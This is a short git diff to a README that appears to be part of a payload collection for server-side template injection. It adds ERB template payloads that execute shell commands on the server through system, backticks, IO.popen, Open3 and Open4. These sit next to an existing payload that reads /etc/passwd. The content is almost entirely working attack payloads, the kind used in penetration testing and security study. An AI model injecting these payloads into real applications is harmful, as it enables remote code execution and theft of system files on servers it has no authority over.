diff --git a/Server Side Template Injection/README.md b/Server Side Template Injection/README.md
index 687a319..eb78c9d 100644
--- a/Server Side Template Injection/README.md	
+++ b/Server Side Template Injection/README.md	
@@ -95,7 +95,13 @@ Execute code using SSTI for ERB engine.
 
 ```ruby
 <%= system('cat /etc/passwd') %>
+<%= `ls /` %>
+<%= IO.popen('ls /').readlines()  %>
+<% require 'open3' %><% @a,@b,@c,@d=Open3.popen3('whoami') %><%= @b.readline()%>
+<% require 'open4' %><% @a,@b,@c,@d=Open4.popen4('whoami') %><%= @c.readline()%>
 ```
+
+
 Execute code using SSTI for Slim engine.
 
 ```powershell